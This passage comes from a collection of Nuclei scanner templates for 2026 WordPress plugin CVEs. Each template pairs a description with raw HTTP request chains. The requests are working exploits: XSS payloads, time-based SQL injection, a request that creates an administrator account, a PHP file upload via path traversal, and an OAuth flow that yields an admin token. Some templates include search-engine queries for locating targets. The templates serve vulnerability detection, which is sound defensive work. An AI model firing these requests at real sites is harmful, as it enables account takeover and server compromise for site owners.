- https://nvd.nist.gov/vuln/detail/CVE-2026-15094\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2026-15094\n    cwe-id: CWE-79\n    epss-score: 0.00686\n    epss-percentile: 0.52758\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: thimpress\n    product: wp-hotel-booking\n    fofa-query: body=\"/wp-content/plugins/wp-hotel-booking/\"\n    publicwww-query: \"/wp-content/plugins/wp-hotel-booking/\"\n    tags: cve,cve2026,wordpress,wp-plugin,wp-hotel-booking,xss,unauth\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/wp-hotel-booking/readme.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"WP Hotel Booking\")'\n          - 'compare_versions(version, \"<= 2.3.2\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: version\n        group: 1\n        internal: true\n        regex:\n          - 'Stable tag: ([\\d.]+)'\n\n  - raw:\n      - |\n        GET /wp-json/wp/v2/pages?per_page=100 HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"container room-container\"\n        internal: true\n\n    extractors:\n      - type: json\n        name: room_path\n        internal: true\n        json:\n          - 'first(.[] | select(.content.rendered | contains(\"container room-container\")) | .link)'\n\n  - raw:\n      - |\n        GET {{room_path}}?check_in_date=%22autofocus%20onfocus%3D%22alert(document.domain) HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'value=\"\"autofocus onfocus=\"alert(document.domain)'\n          - 'hb_input_date_check'\n        condition: and\n# digest: 4b0a00483046022100b9678cc559b8408e3217fdbb702e687920a14840de0ff54e4f64b26045dd0844022100ddda47790266c2c200df9f4d27d0ff62f96259abf9545452aa1f3e5b2cd191e3:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-15094.yaml","vuln_id":"cve-2026-15094"},{"raw":"id: CVE-2026-15015\n\ninfo:\n  name: MountDev AI MCP Connector <= 1.6.1 - Unauthenticated Admin OAuth Token Exposure\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    MountDev AI MCP Connector for WordPress (mountdev-ai-mcp-connector) <= 1.6.1 is vulnerable to unauthenticated authorization bypass (CWE-862) via its OAuth 2.0 implementation. The plugin exposes a publicly accessible Dynamic Client Registration endpoint (/mcp-register) at WordPress init-level that allows any unauthenticated caller to register arbitrary OAuth clients. The subsequent authorization endpoint (/wp-json/mountdev-ai-mcp-connector/v1/oauth/authorize) then auto-approves the OAuth flow using the first WordPress administrator account found via get_users({role: administrator, number: 1}), issuing an admin-bound authorization code without checking who is making the request. Exchanging this code at /mcp-token yields a full Bearer token granting administrator-equivalent access to the MCP tool surface and all exposed WordPress content, users, options, and settings.\n  impact: |\n    Unauthenticated remote attackers can obtain Bearer tokens bound to a WordPress administrator account, granting complete administrative control via the MCP interface including read/write access to all posts, pages, users, plugins, themes, site settings, and database options.\n  remediation: |\n    Update the MountDev AI MCP Connector plugin to version 1.6.2 or later, which adds proper authorization checks to the Dynamic Client Registration and authorization endpoints.\n  reference:\n    - https://github.com/les-k/wp-secure-mcp\n    - https://plugins.trac.wordpress.org/browser/mountdev-ai-mcp-connector/tags/1.6.0/includes/class-oauth-controller.php#L370\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-15015\n    - https://www.rapid7.com/db/vulnerabilities/cve-2026-15015/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-15015\n    epss-score: 0.02647\n    epss-percentile: 0.85653\n    cwe-id: CWE-862\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: developer-developer-developer\n    product: mountdev-ai-mcp-connector\n    framework: wordpress\n    shodan-query: http.html:\"/wp-content/plugins/mountdev-ai-mcp-connector/\"\n    fofa-query: body=\"/wp-content/plugins/mountdev-ai-mcp-connector/\"\n    publicwww-query: \"/wp-content/plugins/mountdev-ai-mcp-connector/\"\n  tags: cve,cve2026,wordpress,wp-plugin,authorization-bypass,oauth,token-exposure,vkev\n\nvariables:\n  client_name: \"{{randstr}}\"\n\nflow: http(1) && http(2) && http(3) && http(4)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/mountdev-ai-mcp-connector/readme.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        internal: true\n        dsl:\n          - 'contains(body, \"MCP Connector\")'\n          - 'compare_versions(plugin_version, \"<= 1.6.1\")'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: plugin_version\n        part: body\n        group: 1\n        regex:\n          - \"(?i)Stable tag:\\\\s*([0-9]+\\\\.[0-9]+(?:\\\\.[0-9]+)?)\"\n        internal: true\n\n  - raw:\n      - |\n        POST /mcp-register HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"redirect_uris\":[\"{{RootURL}}\"],\"client_name\":\"{{client_name}}\",\"token_endpoint_auth_method\":\"client_secret_post\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"client_id\") && contains(body, \"client_secret\")'\n          - 'status_code == 201'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: client_id\n        part: body\n        group: 1\n        regex:\n          - '\"client_id\"\\s*:\\s*\"([^\"]+)\"'\n        internal: true\n\n      - type: regex\n        name: client_secret\n        part: body\n        group: 1\n        regex:\n          - '\"client_secret\"\\s*:\\s*\"([^\"]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-json/mountdev-ai-mcp-connector/v1/oauth/authorize?client_id={{client_id}}&redirect_uri={{RootURL}}&response_type=code&scope=mcp HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(header, \"code=\")'\n          - 'status_code == 302'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: auth_code\n        part: header\n        group: 1\n        regex:\n          - \"code=([a-zA-Z0-9]+)\"\n        internal: true\n\n  - raw:\n      - |\n        POST /mcp-token HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        grant_type=authorization_code&code={{auth_code}}&client_id={{client_id}}&client_secret={{client_secret}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"access_token\") && contains(body, \"Bearer\")'\n          - 'contains(header, \"application/json\")'\n          - 'status_code == 200'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: access_token\n        part: body\n        group: 1\n        regex:\n          - '\"access_token\"\\s*:\\s*\"([^\"]+)\"'\n# digest: 4b0a004830460221008d330ad53c80759c12b0eef4c0bffc11b595c567d6f119e31bb001a89b8652ef022100dcab4d39389664fee2ac0f3b22786b89ac052e864e794e56107739dd29351c57:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-15015.yaml","vuln_id":"cve-2026-15015"},{"raw":"id: CVE-2026-1492\n\ninfo:\n  name: WordPress User Registration & Membership <= 5.1.2 - Unauthenticated Privilege Escalation\n  author: omarkurt\n  severity: critical\n  description: |\n    User Registration & Membership WordPress plugin <= 5.1.2 contains an improper privilege management vulnerability caused by accepting user-supplied roles without server-side allowlist enforcement, letting unauthenticated attackers create administrator accounts\n  impact: |\n    Unauthenticated attackers can create administrator accounts, leading to full system compromise.\n  remediation: |\n    Update to the latest version beyond 5.1.2.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-1492\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/7e9fec92-f471-4ce9-9138-1c58ad658da2\n    - https://plugins.trac.wordpress.org/changeset/3469042/user-registration\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cwe-id: CWE-269\n    cve-id: CVE-2026-1492\n    epss-score: 0.28892\n    epss-percentile: 0.98161\n  metadata:\n    max-request: 3\n    verified: true\n  tags: cve,cve2026,wordpress,wp-plugin,user-registration,privilege-escalation,vkev\n\nvariables:\n  username: \"{{to_lower(rand_base(8))}}\"\n  email: \"{{to_lower(rand_base(8))}}@wptest.com\"\n  password: \"Wp-{{rand_base(12)}}\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET /registration/ HTTP/1.1\n        Host: {{Hostname}}\n        Accept: text/html,application/xhtml+xml\n\n    host-redirects: true\n    max-redirects: 2\n\n    extractors:\n      - type: regex\n        name: form_id\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - 'name=\"ur-user-form-id\" value=\"(\\d+)\"'\n\n      - type: regex\n        name: form_save_nonce\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - '\"user_registration_form_data_save\"\\s*:\\s*\"([a-f0-9]+)\"'\n\n      - type: regex\n        name: ur_nonce\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - 'id=\"ur_frontend_form_nonce\" name=\"ur_frontend_form_nonce\" value=\"([a-f0-9]+)\"'\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        X-Requested-With: XMLHttpRequest\n\n        action=user_registration_user_form_submit&security={{form_save_nonce}}&ur_frontend_form_nonce={{ur_nonce}}&form_id={{form_id}}&form_data=%5B%7B%22field_name%22%3A%22user_login%22%2C%22value%22%3A%22{{username}}%22%7D%2C%7B%22field_name%22%3A%22user_email%22%2C%22value%22%3A%22{{email}}%22%7D%2C%7B%22field_name%22%3A%22user_pass%22%2C%22value%22%3A%22{{password}}%22%7D%2C%7B%22field_name%22%3A%22user_confirm_password%22%2C%22value%22%3A%22{{password}}%22%7D%5D\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"success\":true'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        X-Requested-With: XMLHttpRequest\n\n        action=user_registration_membership_register_member&security=invalid&members_data=%7B%22membership%22%3A%221%22%2C%22payment_method%22%3A%22free%22%2C%22username%22%3A%22{{username}}%22%2C%22role%22%3A%22administrator%22%7D\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"success\":true'\n\n    extractors:\n      - type: dsl\n        dsl:\n          - '\"Created admin: \" + username + \" / \" + password'\n        internal: true\n# digest: 4b0a004830460221008f55a1628ea0dd5399f53ad66ca3ea25db43a592f5c985ac9962c014e4250f87022100f96915bfbde204d336fffd90678a38d3c73d2473c857e6f7a1302b214b0fcd8f:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-1492.yaml","vuln_id":"cve-2026-1492"},{"raw":"id: CVE-2026-14894\n\ninfo:\n  name: WordPress Super Forms <= 6.3.313 - Arbitrary File Upload\n  author: pdteam,0x_Akoko\n  severity: critical\n  description: |\n    Super Forms – Drag & Drop Form Builder WordPress plugin \\u003C= 6.3.313 contains an arbitrary file upload vulnerability caused by missing file type validation and lack of capability checks in submit_form nopriv AJAX handler, letting unauthenticated attackers upload executable files and achieve remote code execution, exploit requires no authentication due to nonce bypass.\n  impact: |\n    Unauthenticated attackers can upload executable files and execute arbitrary code remotely, potentially compromising the entire server.\n  remediation: |\n    Update to the latest version of Super Forms – Drag & Drop Form Builder plugin.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/e9c7fb16-efbb-41e9-be13-98e96c1e9100\n    - https://patchstack.com/database/wordpress/plugin/super-forms/vulnerability/wordpress-super-forms-drag-drop-form-builder-plugin-6-3-313-unauthenticated-arbitrary-file-upload-vulnerability\n    - https://github.com/shinthink/CVE-2026-14894\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-14894\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-14894\n    epss-score: 0.03484\n    epss-percentile: 0.89154\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: developer-developer\n    product: super-forms\n    framework: wordpress\n    fofa-query: body=\"wp-content/plugins/super-forms\"\n    shodan-query: http.html:\"wp-content/plugins/super-forms\"\n  tags: cve,cve2026,wordpress,wp-plugin,wp,file-upload,rce,intrusive,vkev\n\nvariables:\n  rand: \"{{to_lower(rand_text_alpha(8))}}\"\n\nflow: http(1) && http(2) && http(3) && http(4)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 2\n\n    matchers:\n      - type: word\n        words:\n          - \"/wp-content/themes\"\n        internal: true\n\n    extractors:\n      - type: regex\n        name: wptheme\n        group: 1\n        regex:\n          - 'wp-content/themes/([a-zA-Z0-9_-]+)/'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php?action=super_create_nonce HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=super_create_nonce\n\n    extractors:\n      - type: regex\n        part: body\n        name: sfnonce\n        regex:\n          - '([a-f0-9]{10,})'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php?action=super_submit_form HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        sf_nonce={{sfnonce}}&form_id=1&data=%7B%22sf_upload_field%22%3A%7B%22type%22%3A%22files%22%2C%22files%22%3A%5B%7B%22value%22%3A%22../../../../../themes/{{wptheme}}/{{rand}}.php%22%2C%22datauristring%22%3A%22data%3Aimage/png%3Bbase64%2CPD9waHAgZWNobyAnQ1ZFLTIwMjYtMTQ4OTQtc2ZyY2UnOyBkaWUoKTsgPz4%3D%22%2C%22name%22%3A%22{{rand}}.php%22%2C%22label%22%3A%22attachment%22%7D%5D%7D%7D\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200 || status_code == 302'\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-content/themes/{{wptheme}}/{{rand}}.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"CVE-2026-14894-sfrce\")'\n        condition: and\n# digest: 490a00463044022059e8bf4daa52128fb52c007a4a335577184f313658b429b6846504d54078a988022003e534ba9a39f3486911c887e8058b9bb8390cd0fa81de7e553478768ab84f93:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-14894.yaml","vuln_id":"cve-2026-14894"},{"raw":"id: CVE-2026-14870\n\ninfo:\n  name: WordPress Database for Contact Form 7, WPforms, Elementor forms < 1.5.3 - Cross-Site Scripting\n  author: anirbala98\n  severity: high\n  description: |\n    Database for Contact Form 7, WPforms, Elementor forms WordPress plugin < 1.5.3 contains a reflected XSS caused by improper sanitization and escaping of a parameter in an admin page, letting attackers execute scripts against admin users, exploit requires admin access.\n  impact: |\n    Attackers can execute scripts in admin context, potentially leading to session hijacking or full admin control.\n  remediation: |\n    Upgrade to version 1.5.3 or later.\n  reference:\n    - https://wpscan.com/vulnerability/d574b78c-df04-4dab-bd33-e3a22ff51918/\n    - https://wordpress.org/plugins/contact-form-entries/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-14870\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L\n    cvss-score: 7.1\n    cve-id: CVE-2026-14870\n    epss-score: 0.00467\n    epss-percentile: 0.40595\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: crm-perks\n    product: contact-form-entries\n    framework: wordpress\n    fofa-query: body=\"/wp-content/plugins/contact-form-entries/\"\n  tags: cve,cve2026,wordpress,wp-plugin,contact-form-entries,xss,authenticated\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        log={{username}}&pwd={{password}}&wp-submit=Log+In\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 302\n          - contains(header, \"wordpress_logged_in\")\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-admin/admin.php?page=vxcf_leads&form_id=x%27%3Balert%28document.domain%29// HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"text/html\")'\n          - contains(body, \"form_id=x';alert(document.domain)//'\")\n        condition: and\n# digest: 4b0a00483046022100d5f51e6adf5d3472eb75a17c57db43809c6e38716dfd93e929d520af613c5dda0221009850299fad1f37ab0f4a3419c76d95bfbea44ee5e12ea76772321d9815e9c1ff:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-14870.yaml","vuln_id":"cve-2026-14870"},{"raw":"id: CVE-2026-14554\n\ninfo:\n  name: WordPress Check & Log Email < 2.0.15 - SQL Injection\n  author: anirbala98\n  severity: medium\n  description: |\n    The Check & Log Email WordPress plugin before 2.0.15 does not properly sanitize and escape parameters before using them in SQL queries, allowing users with administrator privileges to perform SQL injection attacks.\n  impact: |\n    Administrators can execute arbitrary SQL commands, potentially leading to data disclosure or modification.\n  remediation: |\n    Update to version 2.0.15 or later.\n  reference:\n    - https://wpscan.com/vulnerability/7b39bae3-41a2-4862-b7c3-1a386273d600/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-14554\n    - https://wordpress.org/plugins/check-email/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 6.5\n    cve-id: CVE-2026-14554\n    epss-score: 0.01411\n    epss-percentile: 0.7274\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: checkemail\n    product: check-email\n    framework: wordpress\n    fofa-query: body=\"/wp-content/plugins/check-email/\"\n  tags: cve,cve2026,wordpress,wp-plugin,sqli,time-based-sqli,check-email,authenticated\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        log={{username}}&pwd={{password}}&wp-submit=Log+In\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 302\n          - contains(header, \"wordpress_logged_in\")\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 20s\n        GET /wp-admin/admin.php?page=check-email-logs&d=x'%20AND%20SLEEP(6)--%20- HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 200\n          - contains(content_type, \"text/html\")\n          - duration >= 6\n        condition: and\n# digest: 490a00463044022034ee29fa992e2ffce4ec2f1069c20185f155c313df23b865ca09dbe70b44412e02201b728e4832d72a4e84e8727bc669896fc77dd53780e059d07d7c43754ca2505c:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-14554.yaml","vuln_id":"cve-2026-14554"},{"raw":"id: CVE-2026-14483\n\ninfo:\n  name: Realtyna Organic IDX/WPL <= 5.2.0 - Unauthenticated Arbitrary File Upload\n  author: str4k3r\n  severity: critical\n  description: |\n    Realtyna Organic IDX plugin + WPL Real Estate plugin for WordPress <= 5.2.0 contains an unrestricted file upload vulnerability caused by missing file type validation and static API credentials, letting unauthenticated attackers upload executable files and achieve remote code execution, exploit requires knowledge of static API credentials.\n  impact: |\n    Unauthenticated attackers can upload executable files, leading to remote code execution and full server compromise.\n  remediation: |\n    Update to a version later than 5.2.0 or apply patches that enforce proper file validation and unique API credentials.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-14483\n    - https://github.com/0xdak/CVE-2026-14483_exploit\n    - https://wordpress.org/plugins/real-estate-listing-realtyna-wpl/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-14483\n    epss-score: 0.03971\n    epss-percentile: 0.90501\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: realtyna\n    product: real-estate-listing-realtyna-wpl\n    shodan-query: http.html:\"real-estate-listing-realtyna-wpl\"\n    fofa-query: body=\"real-estate-listing-realtyna-wpl\"\n  tags: cve,cve2026,wordpress,wp-plugin,wpl,realtyna,file-upload,unauth,intrusive\n\nflow: http(1) && http(2)\n\nvariables:\n  probe_filename: \"image_CVE14483_{{rand_base(10)}}.txt\"\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/real-estate-listing-realtyna-wpl/readme.txt HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_any(body, \"WPL Real Estate\", \"Realtyna Organic IDX\", \"Organic IDX plugin\")'\n          - 'compare_versions(ver, \"<= 5.2.0\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: ver\n        part: body\n        group: 1\n        regex:\n          - '(?i)Stable tag:\\s*([0-9][0-9.]+)'\n        internal: true\n\n  - raw:\n      - |\n        POST /?wplformat=io&wplview=io&public_key=U7hdbv673YhdjplzzX7wU7hdbv673YhdjplzzX7w&private_key=Eft76bdh0o2uyhJkbG3T&commands_directory=mobile_application&cmd=set_property&user_id=1&dformat=json HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----CVE14483Boundary\n\n        ------CVE14483Boundary\n        Content-Disposition: form-data; name=\"file[]\"; filename=\"{{probe_filename}}\"\n        Content-Type: text/plain\n\n        CVE14483_SAFE_MARKER\n        ------CVE14483Boundary--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"json\")'\n          - 'contains_all(body, \"\\\"result\\\"\", \"\\\"success\\\":true\")'\n        condition: and\n# digest: 4a0a00473045022100f6e5162eb21e8bc1ac013a83e8cf8a9bbea861ab57f772af8cd1ea1c7e8cf322022047a8de1e1874de4f0f7db2c76fa4088db3318ad50cfd49e0c42aba5e6e0cbdfb:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-14483.yaml","vuln_id":"cve-2026-14483"},{"raw":"id: CVE-2026-1405\n\ninfo:\n  name: WordPress Slider Future <= 1.0.5 - Unauthenticated Arbitrary File Upload\n  author: pussycat0x\n  severity: critical\n  description: |\n    Slider Future WordPress plugin <= 1.0.5 contains an unrestricted file upload vulnerability caused by missing file type validation in 'slider_future_handle_image_upload', letting unauthenticated attackers upload arbitrary files, exploit requires no authentication.\n  remediation: |\n    Update to a version later than 1.0.5 or the latest available version.\n  impact:\n    Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-1405\n    epss-score: 0.0347\n    epss-percentile: 0.89108\n    cwe-id: CWE-434\n  tags: cve,cve2026,wordpress,wp-plugin,slider-future,file-upload,rce,oast,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /wp-json/slider-future/v1/upload-image/ HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"image_url\":\"http://{{interactsh-url}}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(interactsh_protocol, \"http\") || contains(interactsh_protocol, \"dns\")'\n          - 'status_code == 200'\n          - 'contains(content_type,\"application/json\")'\n          - 'contains_all(body,\"url\",\"wp-content\")'\n        condition: and\n# digest: 4a0a00473045022100a983d80b4e1426234f476d5a509b973ba5b662c53cb454a50eebe3eb8476d85a02206019ee689d42a69595aab2fa16f85bc903a24ec4780c85b5b71644f9dd634efe:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-1405.yaml","vuln_id":"cve-2026-1405"},{"raw":"id: CVE-2026-13731\n\ninfo:\n  name: WPBot <= 8.4.9 - Cross-Site Scripting\n  author: 0x_Akoko\n  severity: high\n  description: |\n    WPBot <= 8.4.9 is vulnerable to stored cross-site scripting via the conversation parameter in the qcld_wb_chatbot_conversation_save AJAX action. The AJAX nonce (qcsecretbotnonceval123qc) is publicly emitted on every frontend page via wp_localize_script under the ajax_nonce key, making it freely obtainable by unauthenticated visitors. The conversation parameter is saved to the database without sanitization and rendered unsanitized in the admin chat session view, causing stored XSS that executes when an administrator views saved chat sessions.\n  impact: |\n    Unauthenticated attackers can inject arbitrary JavaScript into the admin chat sessions view, enabling session hijacking, admin credential theft, or further site compromise.\n  remediation: |\n    Update WPBot to version 8.5.0 or later.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/124f2b72-d8da-46ba-844f-e9cc01441702\n    - https://plugins.trac.wordpress.org/browser/chatbot/tags/8.4.9/includes/chat-sessions/wpbot-chat-sessions.php#L509\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N\n    cvss-score: 7.2\n    cve-id: CVE-2026-13731\n    epss-score: 0.00889\n    epss-percentile: 0.59457\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: quantumcloud\n    product: chatbot\n    fofa-query: body=\"wp_chatbot_obj\"\n    shodan-query: http.html:\"wp_chatbot_obj\"\n    tags: cve,cve2026,wordpress,wp-plugin,wpbot,chatbot,xss,stored,unauth,vkev\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/chatbot/readme.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"WPBot\")'\n          - 'compare_versions(lsversion, \">=1.0.0\", \"<=8.4.9\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: lsversion\n        internal: true\n        regex:\n          - 'Stable tag: ([\\d.]+)'\n        group: 1\n\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: true\n    max-redirects: 2\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"ajax_nonce\")'\n          - 'contains(body, \"wp_chatbot_obj\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: ajax_nonce\n        internal: true\n        regex:\n          - '\"ajax_nonce\"\\s*:\\s*\"([^\"]+)\"'\n        group: 1\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=qcld_wb_chatbot_conversation_save&session_id={{randstr}}&name=test&email=test%40test.com&phone=1234&conversation=%3Cli+class%3D%22wp-chat-user-msg%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E%3C%2Fli%3E&security={{ajax_nonce}}&user_id=0\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"success\")'\n        condition: and\n# digest: 490a0046304402201dbac4fb87a458b32ff70656ded62aaff0f4f91b3942ed28c64757f772f25af0022004756c179173e89a50133785c4917bd4b1fc408d871ab1f31acf8dee3e2bbd46:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-13731.yaml","vuln_id":"cve-2026-13731"},{"raw":"id: CVE-2026-1368\n\ninfo:\n  name: Video Conferencing with Zoom API < 4.6.6 - Unauthenticated SDK Signature Generation\n  author: 0x_Akoko\n  severity: high\n  description: |\n    Zoom WordPress plugin < 4.6.6 contains a broken authentication caused by disabled nonce verification in an AJAX handler, letting unauthenticated attackers generate valid Zoom SDK signatures and retrieve the Zoom SDK key.\n  impact: |\n    Unauthenticated attackers can generate valid SDK signatures and retrieve the Zoom SDK key, potentially compromising meeting security.\n  remediation: |\n    Update to version 4.6.6 or later.\n  reference:\n    - https://wpscan.com/vulnerability/218e6655-c5aa-4bce-86b2-cad3bb20020c/\n    - https://wordpress.org/plugins/video-conferencing-with-zoom-api/\n    - https://plugins.trac.wordpress.org/browser/video-conferencing-with-zoom-api/\n  classification:\n    cve-id: CVE-2026-1368\n    epss-score: 0.01312\n    epss-percentile: 0.70766\n    cwe-id: CWE-862\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n  metadata:\n    verified: true\n    max-request: 2\n    fofa-query: body=\"/wp-content/plugins/video-conferencing-with-zoom-api/\"\n  tags: cve,cve2026,wordpress,wp-plugin,wp,zoom,vczapi,unauth,intrusive\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/video-conferencing-with-zoom-api/README.txt\"\n\n    extractors:\n      - type: regex\n        name: version\n        group: 1\n        regex:\n          - '(?i)Stable tag:\\s*([\\d.]+)'\n        internal: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"Video Conferencing with Zoom\")'\n          - 'compare_versions(version, \"<4.6.6\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST 